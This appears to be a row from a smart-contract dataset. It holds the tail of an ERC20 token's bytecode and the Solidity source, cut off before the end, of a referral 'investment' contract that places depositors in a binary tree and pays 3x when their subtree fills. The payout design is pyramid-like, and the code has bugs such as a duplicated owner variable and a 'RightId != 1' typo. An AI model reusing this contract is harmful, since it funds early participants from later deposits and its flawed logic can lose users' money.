11aeb565b506001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b8f90612b24565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbb90612b24565b8015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b5050505050905090565b60008060016000610c2161160d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd59061294d565b60405180910390fd5b610cf2610ce961160d565b85858403611615565b600191505092915050565b600033826000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905090506000811115610d5c57610d5a83611261565b505b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da791906129e8565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e9061278d565b60405180910390fd5b610e318686611dd9565b935050505092915050565b6000806000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110610e9257610e91612c2c565b5b90600052602060002090600202016040518060400160405290816000820154815260200160018201548152505090508060000151925080602001519150509250929050565b6000610ee161160d565b73ffffffffffffffffffffffffffffffffffffffff16610eff610b56565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c906128ad565b60405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011610fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd19061282d565b60405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905090505b6000811115611055576110418360018361103c9190612a3e565b611aeb565b50808061104d90612afa565b915050611022565b5060019050919050565b600061106a82611aa3565b9050919050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050915091565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061119161160d565b73ffffffffffffffffffffffffffffffffffffffff166111af610b56565b73ffffffffffffffffffffffffffffffffffffffff1614611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc906128ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561123f57600080fd5b61124a338585611df7565b61125584848461206d565b50600190509392505050565b600080600090505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561133c5742600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061130557611304612c2c565b5b9060005260206000209060020201600001541015611329576113278382611aeb565b505b808061133490612b56565b915050611269565b5060019050919050565b600061135061160d565b73ffffffffffffffffffffffffffffffffffffffff1661136e610b56565b73ffffffffffffffffffffffffffffffffffffffff16146113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb906128ad565b60405180910390fd5b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c9061286d565b60405180910390fd5b61145084848461206d565b50600190509392505050565b61146461160d565b73ffffffffffffffffffffffffffffffffffffffff16611482610b56565b73ffffffffffffffffffffffffffffffffffffffff16146114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf906128ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f906127ed565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c9061292d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec9061280d565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d3919061296d565b60405180910390a3505050565b60006117ed848484611df7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061183861160d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156118b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118af9061288d565b60405180910390fd5b6118cc856118c461160d565b858403611615565b60019150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f906128ed565b60405180910390fd5b611954826000836122b6565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156119da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d1906127ad565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254611a319190612a3e565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a96919061296d565b60405180910390a3505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611b3f57611b3e612c2c565b5b906000526020600020906002020190508060010154600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9e9190612a3e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f18260010154604051611c2b919061296d565b60405180910390a2600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050611cc19190612a3e565b81548110611cd257611cd1612c2c565b5b9060005260206000209060020201600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110611d3157611d30612c2c565b5b90600052602060002090600202016000820154816000015560018201548160010155905050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480611da557611da4612bfd565b5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055600191505092915050565b6000611ded611de661160d565b8484611df7565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5e9061290d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ece9061276d565b60405180910390fd5b611ee28383836122b6565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f9061284d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ffb91906129e8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161205f919061296d565b60405180910390a350505050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836120ba91906129e8565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561213a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612131906127cd565b60405180910390fd5b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218591906129e8565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280848152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b84846040516122a3929190612988565b60405180910390a2600190509392505050565b6122c1838383611608565b505050565b6000813590506122d5816130ef565b92915050565b6000813590506122ea81613106565b92915050565b60006020828403121561230657612305612c5b565b5b6000612314848285016122c6565b91505092915050565b6000806040838503121561233457612333612c5b565b5b6000612342858286016122c6565b9250506020612353858286016122c6565b9150509250929050565b60008060006060848603121561237657612375612c5b565b5b6000612384868287016122c6565b9350506020612395868287016122c6565b92505060406123a6868287016122db565b9150509250925092565b600080604083850312156123c7576123c6612c5b565b5b60006123d5858286016122c6565b92505060206123e6858286016122db565b9150509250929050565b60008060006060848603121561240957612408612c5b565b5b6000612417868287016122c6565b9350506020612428868287016122db565b9250506040612439868287016122db565b9150509250925092565b60006020828403121561245957612458612c5b565b5b6000612467848285016122db565b91505092915050565b61247981612a72565b82525050565b61248881612a84565b82525050565b6000612499826129cc565b6124a381856129d7565b93506124b3818560208601612ac7565b6124bc81612c60565b840191505092915050565b60006124d46023836129d7565b91506124df82612c71565b604082019050919050565b60006124f7601a836129d7565b915061250282612cc0565b602082019050919050565b600061251a6022836129d7565b915061252582612ce9565b604082019050919050565b600061253d6032836129d7565b915061254882612d38565b604082019050919050565b60006125606026836129d7565b915061256b82612d87565b604082019050919050565b60006125836022836129d7565b915061258e82612dd6565b604082019050919050565b60006125a66017836129d7565b91506125b182612e25565b602082019050919050565b60006125c96026836129d7565b91506125d482612e4e565b604082019050919050565b60006125ec6026836129d7565b91506125f782612e9d565b604082019050919050565b600061260f6028836129d7565b915061261a82612eec565b604082019050919050565b60006126326020836129d7565b915061263d82612f3b565b602082019050919050565b60006126556024836129d7565b915061266082612f64565b604082019050919050565b60006126786021836129d7565b915061268382612fb3565b604082019050919050565b600061269b6025836129d7565b91506126a682613002565b604082019050919050565b60006126be6024836129d7565b91506126c982613051565b604082019050919050565b60006126e16025836129d7565b91506126ec826130a0565b604082019050919050565b61270081612ab0565b82525050565b61270f81612aba565b82525050565b600060208201905061272a6000830184612470565b92915050565b6000602082019050612745600083018461247f565b92915050565b60006020820190508181036000830152612765818461248e565b905092915050565b60006020820190508181036000830152612786816124c7565b9050919050565b600060208201905081810360008301526127a6816124ea565b9050919050565b600060208201905081810360008301526127c68161250d565b9050919050565b600060208201905081810360008301526127e681612530565b9050919050565b6000602082019050818103600083015261280681612553565b9050919050565b6000602082019050818103600083015261282681612576565b9050919050565b6000602082019050818103600083015261284681612599565b9050919050565b60006020820190508181036000830152612866816125bc565b9050919050565b60006020820190508181036000830152612886816125df565b9050919050565b600060208201905081810360008301526128a681612602565b9050919050565b600060208201905081810360008301526128c681612625565b9050919050565b600060208201905081810360008301526128e681612648565b9050919050565b600060208201905081810360008301526129068161266b565b9050919050565b600060208201905081810360008301526129268161268e565b9050919050565b60006020820190508181036000830152612946816126b1565b9050919050565b60006020820190508181036000830152612966816126d4565b9050919050565b600060208201905061298260008301846126f7565b92915050565b600060408201905061299d60008301856126f7565b6129aa60208301846126f7565b9392505050565b60006020820190506129c66000830184612706565b92915050565b600081519050919050565b600082825260208201905092915050565b60006129f382612ab0565b91506129fe83612ab0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a3357612a32612b9f565b5b828201905092915050565b6000612a4982612ab0565b9150612a5483612ab0565b925082821015612a6757612a66612b9f565b5b828203905092915050565b6000612a7d82612a90565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612ae5578082015181840152602081019050612aca565b83811115612af4576000848401525b50505050565b6000612b0582612ab0565b91506000821415612b1957612b18612b9f565b5b600182039050919050565b60006002820490506001821680612b3c57607f821691505b60208210811415612b5057612b4f612bce565b5b50919050565b6000612b6182612ab0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b9457612b93612b9f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f636865636b4c6f636b203a2062616c616e636520657863656564000000000000600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f6c6f636b203a206c6f636b656420746f74616c2073686f756c6420626520736d60008201527f616c6c6572207468616e2062616c616e63650000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f5468657265206973206e6f74206c6f636b20696e666f2e000000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5468657265206973206e6f7420656e6f7567682062616c616e6365206f66206860008201527f6f6c6465722e0000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6130f881612a72565b811461310357600080fd5b50565b61310f81612ab0565b811461311a57600080fd5b5056fea2646970667358221220bb23b890b0eb21fa476798bd0a623241df7c13abb751dbafa90d3509bc9c7cc864736f6c63430008050033
|
{"success": true, "error": null, "results": {}}
| 8,034 |
0xeffc47ebd01a510eea5c6781e040e25e80f72f3b
|
/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
pragma solidity ^0.4.23;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract deracle is Ownable{
struct User{
int32 Id;
int8 ReferCount;
int8 Level;
int32 UplineId;
int32 LeftId;
int32 RightId;
int32 Position;
int32 ReferralId;
address OwnerAddress;
bool IsPayout;
bool IsEndGamePayout;
uint CreatedBlock;
uint CreatedTime;
}
mapping(uint32 => User) userlistbypos;
mapping(uint32 => User) userlistbyid;
mapping(address => int32[]) public userids;
int8 public currentLevel;
int public userCounter = 0;
int idcounter = 3;
uint32 public nextPosition = 1;
address public token;
address public owner;
address private keeper;
address public maintainer;
uint public ExpiryInvestmentTimestamp;
bool public IsExpired;
uint public PayoutAmount;
uint public MainterPayoutAmount;
int public UnpaidUserCount;
int public nextUnpaidUser = 3;
IERC20 public ERC20Interface;
struct Transfer {
address contract_;
address to_;
uint256 amount_;
bool failed_;
}
/**
* @dev Event to notify if transfer successful or failed * after account approval verified */
event TransferSuccessful(
address indexed from_,
address indexed to_,
uint256 amount_
);
event TransferFailed(
address indexed from_,
address indexed to_,
uint256 amount_
);
/**
* @dev a list of all transfers successful or unsuccessful */
Transfer public transaction;
// uint public investamt = 500000000;
// uint public referralamt = 250000000;
// uint public maintaineramt = 50000000;
uint public investamt = 100000;
uint public referralamt = 50000;
uint public maintaineramt = 10000;
constructor() public {
owner = msg.sender;
}
function Invest(int8 quantity, uint32 uplineId) public returns (bool){
require(quantity > 0, "Minimum Investment Quantity Is 1");
require(isUserExists(uplineId), "Referral Id Does Not Exist");
require(isContractAlive(), "Contract terminated. Investment was helt for more than 365 days");
for(int32 j =0; j < quantity; j++){
//Pay the platform
require(!IsExpired, "Contract terminated. Investment was helt for more than 365 days");
require(depositTokens(uplineId));
User memory user;
int32[] memory array = new int32[](1);
array[0] = 1;
if(nextPosition == 1){
user.Id = 1;
user.ReferCount = 0;
user.Level = 0;
user.UplineId = -1;
user.LeftId = -1;
user.RightId = -1;
user.Position = 1;
user.ReferralId = -1;
user.OwnerAddress = msg.sender;
user.IsPayout = true;
user.IsEndGamePayout = true;
user.CreatedBlock = 0;
user.CreatedTime = 0;
userlistbyid[1] = user;
userlistbypos[1] = user;
nextPosition = 2;
}
userCounter += idcounter;
//GET UPLINE
User memory upline = userlistbyid[uint32(uplineId)];
//CHECK WHICH SLOT UPLINE MADE
int32 connectedUplineId = 0;
int32 uplinereferred = upline.ReferCount;
if (uplinereferred < 2) //1st / 2nd leg
{
connectedUplineId = insertNext(uplineId);
}
else //3rd LEG , RESET , FIND THE SUITABLE NODE
{
connectedUplineId = insertThird(uplineId);
}
int isrightleg = 0;
if (userlistbyid[uint32(connectedUplineId)].LeftId != -1) {
isrightleg = 1;
userlistbyid[uint32(connectedUplineId)].RightId = int32(userCounter);
}
else
{
userlistbyid[uint32(connectedUplineId)].LeftId = int32(userCounter);
}
user.Id = int32(userCounter);
user.ReferCount = 0;
user.Level = userlistbyid[uint32(connectedUplineId)].Level + 1;
user.UplineId = int32(connectedUplineId);
user.LeftId = -1;
user.RightId = -1;
user.Position = int32((userlistbyid[uint32(connectedUplineId)].Position * 2) + isrightleg);
user.OwnerAddress = msg.sender;
user.ReferralId = int32(uplineId);
user.IsPayout = false;
user.IsEndGamePayout = false;
user.CreatedBlock = block_call();
user.CreatedTime = time_call();
if(user.Level > currentLevel){
currentLevel = user.Level;
}
userlistbyid[uint32(userCounter)] = user;
userlistbypos[uint32(user.Position)] = user;
userids[msg.sender].push(int32(user.Id));
ExpiryInvestmentTimestamp = time_call() + 365 days;
}
return true;
}
function isUserExists(uint32 userid) view internal returns (bool) {
if(nextPosition == 1){
return true;
}
if(userid == 1){
return false;
}
return (userlistbyid[uint32(userid)].Id != 0);
}
function isContractAlive() view internal returns (bool){
if(nextPosition == 1){
return true;
}
if(time_call() < ExpiryInvestmentTimestamp){
return true;
}
else{
return false;
}
}
function block_call() view internal returns (uint256 blocknumber){
return block.number;
}
function time_call() view internal returns (uint256 timestamp){
return now;
}
function insertNext(uint32 uplineId) internal returns (int32 connectedUplineId){
while(true){
if(userlistbypos[uint32(nextPosition)].Id != 0){
nextPosition++;
}
else{
break;
}
}
int32 previouslevelfirstuplineid = -1;
if (nextPosition % 2 == 0)
{
previouslevelfirstuplineid = int32((nextPosition) / 2);
}
else
{
previouslevelfirstuplineid = int32((nextPosition - 1) / 2);
}
connectedUplineId = userlistbypos[uint32(previouslevelfirstuplineid)].Id;
userlistbyid[uint32(uplineId)].ReferCount++;
nextPosition++;
while(true){
if(userlistbypos[uint32(nextPosition)].Id != 0){
nextPosition++;
}
else{
break;
}
}
}
function insertThird(uint32 uplineId) internal returns (int32 connectedUplineId){
//RESET THE UPLINE COUNT
userlistbyid[uint32(uplineId)].ReferCount = 0;
//FIND SUITABLE NODE
// get the left if empty direct use , if not empty then compare global position value ,
// if global position more then most right then move next level , until global position is in the middle of left and right then v just loop that particular level
uint32 leftposition = uint32(userlistbyid[uint32(uplineId)].Position);
uint32 rightposition = uint32(userlistbyid[uint32(uplineId)].Position);
while(true){
leftposition = uint32(leftposition * 2);
rightposition = uint32(rightposition * 2 + 1);
if(nextPosition < leftposition){
//Find empty node between left to rightposition
uint32 tempPosition = leftposition;
uint32 count = rightposition - leftposition + 1;
for(uint32 i = 0; i < count; i++){
if(userlistbypos[tempPosition + i].Id == 0){
connectedUplineId = userlistbypos[(tempPosition + i) / 2].Id;
return connectedUplineId;
}
}
}
if(leftposition == nextPosition){
connectedUplineId = userlistbypos[nextPosition / 2].Id;
return connectedUplineId;
}
if(rightposition == nextPosition){
connectedUplineId = userlistbypos[(nextPosition - 1) / 2].Id;
return connectedUplineId;
}
if(nextPosition > leftposition && nextPosition < rightposition){
//Inset at next Postion
if(nextPosition % 2 == 0){
connectedUplineId = userlistbypos[nextPosition / 2].Id;
return connectedUplineId;
}
else{
connectedUplineId = userlistbypos[(nextPosition - 1) / 2].Id;
return connectedUplineId;
}
}
}
}
function depositTokens(
uint32 uplineId
) internal returns (bool success){
require(token != 0x0);
address contract_ = token;
address from_ = msg.sender;
ERC20Interface = IERC20(contract_);
//Transfer to contract
if (investamt > ERC20Interface.allowance(from_, address(this))) {
emit TransferFailed(from_, keeper, investamt);
revert();
}
ERC20Interface.transferFrom(from_, address(this), investamt);
emit TransferSuccessful(from_, address(this), investamt);
if(nextPosition != 1){
//Transfer to referral
ERC20Interface.transfer(userlistbyid[uplineId].OwnerAddress , referralamt);
}
//Maintainer payout
MainterPayoutAmount = MainterPayoutAmount + maintaineramt;
UnpaidUserCount++;
return true;
}
function Payout3XReward(uint32 UserId) public{
require(!IsExpired, "Contract has expired.");
require(msg.sender == userlistbyid[UserId].OwnerAddress, "Only owner of the investment can claim 3X payment");
if(checkPayoutTree(UserId)){
Payout(UserId);
}
}
function checkPayoutTree(uint32 UserId) view public returns(bool){
if(userlistbyid[UserId].IsPayout){
return false;
}
int32[] memory list = new int32[](2);
User memory user;
if(userlistbyid[uint32(UserId)].LeftId != -1){
user = userlistbyid[uint32(userlistbyid[UserId].LeftId)];
if(user.LeftId != -1 && user.RightId != 1){
list[0] = user.LeftId;
list[1] = user.RightId;
for(uint i = 0; i < list.length; i++){
user = userlistbyid[uint32(list[i])];
if(user.LeftId == -1 || user.RightId == -1){
return false;
}
}
}
else{
return false;
}
}
else{
return false;
}
if(userlistbyid[uint32(UserId)].RightId != -1){
user = userlistbyid[uint32(userlistbyid[uint32(UserId)].RightId)];
if(user.LeftId != -1 && user.RightId != 1){
list[0] = user.LeftId;
list[1] = user.RightId;
i = 0;
for(i = 0; i < list.length; i++){
user = userlistbyid[uint32(list[i])];
if(user.LeftId == -1 || user.RightId == -1){
return false;
}
}
return true;
}
else{
return false;
}
}
else{
return false;
}
return false;
}
function Payout(uint32 UserId) internal{
require(userlistbyid[UserId].IsPayout == false, "User already received 3x payout");
if(userlistbyid[UserId].IsPayout == false){
userlistbyid[UserId].IsPayout = true;
ERC20Interface.transfer(userlistbyid[UserId].OwnerAddress, investamt*3);
UnpaidUserCount--;
}
}
function PayoutMaintainer() public onlyOwner{
require(maintainer != 0x0, "No mainter account set for payout");
require(MainterPayoutAmount > 0, "Mainter payout balance is 0");
if(MainterPayoutAmount != 0){
address contract_ = token;
ERC20Interface = IERC20(contract_);
if(nextPosition != 1){
//Transfer to maintainer
ERC20Interface.transfer(maintainer , MainterPayoutAmount);
MainterPayoutAmount = 0;
}
}
}
function getUserByAddress(address userAddress) view public returns (int32[] useridlist){
return userids[userAddress];
}
function getUserIds(address userAddress) view public returns (int32[]){
return userids[userAddress];
}
function GetTreeByUserId(uint32 UserId, bool report) view public returns (User[]){
//Get Position
uint32 userposition = uint32(userlistbyid[uint32(UserId)].Position);
//Try to return all data base on position
uint userCount = 0;
if(report){
userCount = uint((2 ** (uint(currentLevel) + 1)) - 1);
}
else{
userCount = 15;
}
User[] memory userlist = new User[](userCount);
uint counter = 0;
uint32 availablenodes = 2;
int8 userlevel = 2;
userlist[counter] = userlistbyid[uint32(userlistbypos[userposition].Id)];
counter++;
while(true){
userposition = userposition * 2;
for(uint32 i = 0; i < availablenodes; i++){
userlist[counter] = userlistbyid[uint32(userlistbypos[userposition + i].Id)];
counter++;
}
availablenodes = availablenodes * 2;
userlevel++;
if(report == false){
if(availablenodes > 8){
break;
}
}
else{
if(userlevel > currentLevel){
break;
}
}
}
return userlist;
}
function GetUserById(uint32 userId) view public returns(User user){
user = userlistbyid[userId];
}
function CheckInvestmentExpiry() public onlyOwner{
require(!isContractAlive(), "Contract is alive.");
require(PayoutAmount == 0, "Contract balance is already calculated.");
if(MainterPayoutAmount != 0){
PayoutMaintainer();
}
//Current Date - last Investment Date >= 365 days from last investment date timestamp
if(!isContractAlive()){
IsExpired = true;
uint contractBalance = ERC20Interface.balanceOf(address(this));
PayoutAmount = uint(contractBalance / uint(UnpaidUserCount));
}
}
